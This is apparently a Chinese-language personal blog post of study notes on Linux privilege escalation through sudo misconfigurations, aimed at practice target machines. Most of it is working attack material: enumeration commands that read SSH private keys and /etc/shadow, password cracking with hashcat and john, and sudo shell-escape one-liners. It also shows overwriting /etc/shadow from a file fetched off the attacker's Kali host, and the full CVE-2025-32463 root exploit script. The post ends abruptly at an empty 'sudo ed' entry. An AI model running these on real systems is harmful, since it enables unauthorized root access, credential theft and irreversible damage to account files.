sudo提权

Linux提权原理

Linux提权主要分为内核漏洞提权,**/etc/passwd 提权Docker提权定时任务提权SUID提权以及sudo提权**。内核提权的优点是针对存在漏洞的内核版本,通常可通用利用,缺点是稳定性差,易导致shell丢失或系统崩溃。

常见的提权思路

  • 信息收集:上传信息收集脚本
  • 枚举系统内核和配置
  • 结合系统开启的服务进行针对性提权

Sudo提权概述

在Linux系统中,sudo命令用于让普通用户以其他用户(通常是root)的身份执行命令。正常情况下,执行sudo需要输入用户自己的密码,但也有可能管理员在sudoers文件中配置某些用户为无需密码(NOPASSWD)即可执行。如果这些配置不当,攻击者可能利用它们执行高权限命令,从而实现本地提权,因此 sudo 配置错误常常是提权的关键入口之一

基础知识

常用命令

1
2
3
4
5
6
7
sudo -l                  #列出当前用户可以直接通过sudo执行的命令(可以查看/etc/sudoers文件中的配置)
whoami #查看用户名
id #查看用户组
ip a #查看ip地址
su #提权到root
uname -a #显示操作系统的信息
sudo -V | grep version #查看sudo版本

Tip

hash破解

1
2
hashcat -m 1410 哈希值:WingFTP /usr/share/wordlists/rockyou.txt   #WingFTP
john shadow_hash –wordlist=/usr/share/wordlists/rockyou.txt

无需密码root执行

1
sudo -l:(root)NOPASSWD:/usr/bin

提升命令行交互性

1
python3 -c "import pty;pty.spawn('/bin/bash')"

其他交互式命令

1
/usr/bin/script -qc /bin/bash /dev/null

权限划分

用户和组

用户组为选定的用户提供了一种彼此共享文件的简便方法。还能使系统管理员可以更有效地管理用户权限,因为他们可以将权限分配给组而不是单个用户

系统管理员权限

root账户,UID为0,拥有所有系统权限

系统用户

Linux为满足自身系统管理所内建的账号,通常在安装过程中自动创建,不能用于登录操作系统

自定义用户

由root管理员创建供用户登录系统进行操作使用的账号,UID在500以上,类似于Windows系统中users用户组中的账户

在Linux中的每个用户必须属于一个组,不能独立于组外在Linux中每个文件有所有者、所在组

用户组的信息可以在**/etc/group**中查看

常见文件

/etc/passwd文件

在Linux的/etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改,以完成对用户的管理工作

可查看内容:用户名,密码,用户ID,组ID,用户说明,家目录,登陆之后shell

/etc/shadow文件

/etc/shadow文件是Linux系统中用于存储用户加密密码及相关账号安全信息的配置文件,它是/etc/passwd的安全扩展

可查看内容:用户名,加密密码,密码最后一次修改日期,两次密码的修改时间间隔,密码修改到期到的警告天数,密码过期之后的宽限天数,账号失效时间

文件权限

在Linux系统中,一切皆文件,包括普通文件、目录、设备文件、套接字等。文件权限通过rwx(读、写、执行)三种标志进行控制.

对于目录来说,r表示可以查看该目录下的文件列表(如使用ls命令),w表示可以在该目录下添加、删除、重命名等操作,而x则表示是否可以进入该目录成为当前工作目录,如果缺少x权限,即使拥有w权限,也无法向目录内写入文件

查看文件的目录

1
2
ls -l          #查看目录文件的权限
ls -la #查看当前目录全部文件权限(包括隐藏文件)

分析每个符号代表的意思(以-rw-r–r– 1 root root为例)

  • 第一个位置可以有以下符号

    • -:表示普通文件
    • d:表示目录
    • l:表示软链接
    • b:表示块文件
    • c:表示字符设备

    这里就表示普通文件

  • 剩下的表示的是文件所属的权限

    • rw-:表示文件所拥有者的权限
    • 第一个r–:表示文件所在组的用户权限
    • 第二个r–:表示其他组的用户权限
  • 数据1

    • 如果文件类型为目录,表示目录下的子目录个数
    • 如果文件类型是普通文件,表示这个文件的硬链接个数

    这里表示的是这个文件的硬链接个数

  • 后面两个root

    • 第一个root表示该文件所有者为root用户
    • 第二个表示该文件所在组为root组

其他特殊权限

Linux系统中,除了常规的rwx权限外,还存在SUID,SGID和SBIT,常用于程序或目录的特殊操作控制

SUID

应用于可执行文件,当该文件被执行时,临时赋予执行者”文件所有者“的权限而不是执行者本人的权限,常用于如passwd等系统目录

SGID

作用类似于SUID,不过是切换到”文件所属组“的权限;若用于目录,则新创建的文件会自动继承该目录的所属组

SBIT

主要用于目录,表示只有文件的所有者或管理员才有权限删除或修改该目录下的文件,常见于/tmp牡蛎,用于保护用户的临时文件不被其他用户删除

信息收集

自动化工具

常用工具:linpeas

下载网址:https://github.com/peass-ng/PEASS-ng/releases

image-20260417002112597

需要利用wget将这个工具传到自己的靶机服务器上

先在kali上起一个服务

1
php -S 0:8080

将linpeas.sh上传到靶机

1
2
wget http://10.10.17.116:8080/linpeas.sh
chmod +x linpeas.sh

image-20260417002053293

image-20260417002056497

手动收集

查看系统信息

1
2
3
4
5
6
7
uname -a           #打印所有可用的系统信息
uname -r #内核版本
uname -n #系统主机名
uname -m #查看系统内核架构(64位/32位)
cat /proc/version #内核信息
cat /etc/*-release #分发信息
cat /proc/cpuinfo #CPU信息

用户和群组

1
2
3
4
5
6
7
8
9
10
cat /etc/passwd                 #列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root #查看 root 用户的本地邮件(可能包含系统通知
cat /etc/group #列出系统上的所有用户组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }' #列出所有的超级用户账户(UID = 0)
whoami #查看当前用户
w #查看当前已登录的用户及其活动
last #查看最近登录的用户列表
lastlog #查看所有用户的上次登录信息
lastlog -u #查看用户名

查找明文密码

1
2
3
4
grep -i user [filename]          #在文件中查找包含 "user"(不区分大小写)的行
grep -i pass [filename] #在文件中查找包含 "pass"(不区分大小写)的行
grep -C 5 "password" [filename] #在文件中查找包含"password"的行,并显示上下5行的内容
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" #查找当前目录及子目录中所有 .php 文件,查找其中包含 "var $password" 的行,并显示行号

ssh私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 查看当前用户的 SSH 授权密钥
cat ~/.ssh/authorized_keys
# 查看当前用户的 SSH 身份密钥(公钥)
cat ~/.ssh/identity.pub
# 查看当前用户的 SSH 身份密钥(私钥)
cat ~/.ssh/identity
# 查看当前用户的 RSA 公钥
cat ~/.ssh/id_rsa.pub
# 查看当前用户的 RSA 私钥
cat ~/.ssh/id_rsa
# 查看当前用户的 DSA 公钥
cat ~/.ssh/id_dsa.pub
# 查看当前用户的 DSA 私钥
cat ~/.ssh/id_dsa
# 查看 SSH 客户端配置文件
cat /etc/ssh/ssh_config
# 查看 SSH 服务端配置文件
cat /etc/ssh/sshd_config
# 查看 SSH DSA 主机公钥
cat /etc/ssh/ssh_host_dsa_key.pub
# 查看 SSH DSA 主机私钥
cat /etc/ssh/ssh_host_dsa_key
# 查看 SSH RSA 主机公钥
cat /etc/ssh/ssh_host_rsa_key.pub
# 查看 SSH RSA 主机私钥
cat /etc/ssh/ssh_host_rsa_key
# 查看 SSH 主机公钥
cat /etc/ssh/ssh_host_key.pub
# 查看 SSH 主机私钥
cat /etc/ssh/ssh_host_key

提权命令

常用命令

1
2
3
4
5
6
7
8
sudo python -c 'import os; os.system("/bin/bash")'  #利用工具发现可以通过sudo执行python时可用,该命令在 Python 中执行 bash,从而获得一个新的 shell 以提权。
sudo /bin/bash #使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令,用户便能获取 root 权限并进入 shell。
sudo /bin/sh #与 sudo /bin/bash 类似,使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash,但仍能通过其他 shell 提权的情况。
sudo perl -e 'exec "/bin/bash"' #利用 Perl 语言中的 exec 函数直接执行 /bin/bash,从而获得 root 权限下的 Bash shell。
sudo vim -c '!sh' #使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令,这里使用它来启动 sh shell。
sudo vi -c '!sh' #与 sudo vim -c '!sh' 类似,利用 vi 编辑器的 -c 参数执行命令 !sh,从而获得一个新的 shell。
sudo find / -exec /bin/bash \; #使用 find 命令遍历系统文件,并通过 -exec 参数执行 /bin/bash。如果 sudo 配置允许执行该命令,就会启动一个 Bash shell。
sudo awk 'BEGIN {system("/bin/sh")}' #使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh,启动一个新的shell

sudo version

1
2
sudo -V | grep version       #查看版本
sudo -u#-1 /bin/bash #提权

sudo python

1
sudo python -c 'import os; os.system("/bin/bash")'

sudo chwoot

CVE-2025-32463:影响版本1.9.14 <= sudo <= 1.9.17

在靶机中运行脚本可获取root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) #创建一个临时目录
cd ${STAGE?} || exit 1 #进入该目录 如果失败则退出脚本

cat > woot1337.c<<EOF #生成一个c文件
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0); #将进程的真实用户id和有效用户id设置为0,进程变为root用户
setregid(0,0);
chdir("/"); #改变当前工作目录为根目录
execl("/bin/bash", "/bin/bash", NULL); #启动一个新的bash,程序将成为root
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
#编译恶意共享库
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

sudo apt

sudo -l 列出枚举项包含apt项

1
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

sudo apache2

sudo -l有apache2

1
sudo apache2 -f /etc/shadow

拿到hash加密的root密码

1
sudo john hash_passwd --wordlist=/usr/share/wordlists/rockyou.txt

sudo ash

sudo -l

1
sudo /bin/ash

获取完整交互式shell

1
python3 -c "import pty;pty.spawn('/bin/bash')"

sudo awk

传递脚本的方式

1
2
sudo -l
sudo awk 'BEGIN {system("/bin/bash")}'

sudo base64

base32 base48同理

1
2
3
4
sudo -l
cat /etc/shadow #无权限
a=/etc
sudo base64 "$a" | base64 -d #有看shadow的权限,原因是base64有直接的sudo运行权限

拿到shadow之后,使用john破解

sudo bash

1
2
3
sudo -l
sudo bash #直接实现提权
sudo csh/dash/sh/tclsh/zsh #常见的bash环境可以实现提权

sudo cp

这个操作有一定风险,会导致靶机中的shadow文件的内容都被覆盖掉且不可恢复

原理就是将自己创建的123456覆盖掉之前的shadow文件

1
sudo -l #当前用户不需要用户密码就可以直接使用cp命令 (root)NOPASSWD:/usr/bin/cp

将修改的root信息保存

在靶机中

1
2
3
4
5
6
7
8
9
10
11
12
a=/etc/shadow
TF=$(mktemp)
echo '修改好的root信息' > $TF
echo $TF
/tmp/tmp.RmdhLEDVdO
cat /tmp/tmp.RmdhLeDVdO
//输出修改好的root信息

sudo /usr/bin/cp $TF $a #会覆盖之前的shadow
su
123456
成功

sudo cpulimit

1
2
3
4
sudo -l
sudo cpulimit -l 100 -f /bin/bash
-l:限制cpu使用率
-f:指定一个程序受到-l参数的限制

sudo curl

1
sudo -l

将得到的root信息存储到shadow_entry文件

1
2
sudo php -S 0:80     在kali本地80端口开启一个php服务(其他端口也行,只要没有被占用)
sudo curl http://kali_ip/shadow_entry -o /etc/shadow #靶机sudo权限curl后覆盖原始的shadow,如果不是80端口需要在ip后面添加 :端口

sudo date

1
2
3
4
sudo -l
sudo date -f /etc/shadow
#泄露了整个shadow文件的信息
#jonh破解hash密码

sudo dd

1
2
sudo -l
echo '生成的root信息' | sudo dd of=/etc/shadow

sudo dstat

利用点:dstat可以指定插件名来执行外部的插件

1
2
3
4
5
6
7
8
9
find / -name dstat -type d 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
ls /usr/share/dstat
vim dstat_BinBash.py
import os;os.execv("/bin/bash",["bash"])
cp dstat_BinBash.py /usr/share/dstat/dstat_BinBash.py
sudo dstat --BinBash
成功

sudo ed

1


sudo提权
https://colourful228.github.io/2026/04/15/sudo提权/
作者
Colourful
发布于
2026年4月15日
更新于
2026年4月17日
许可协议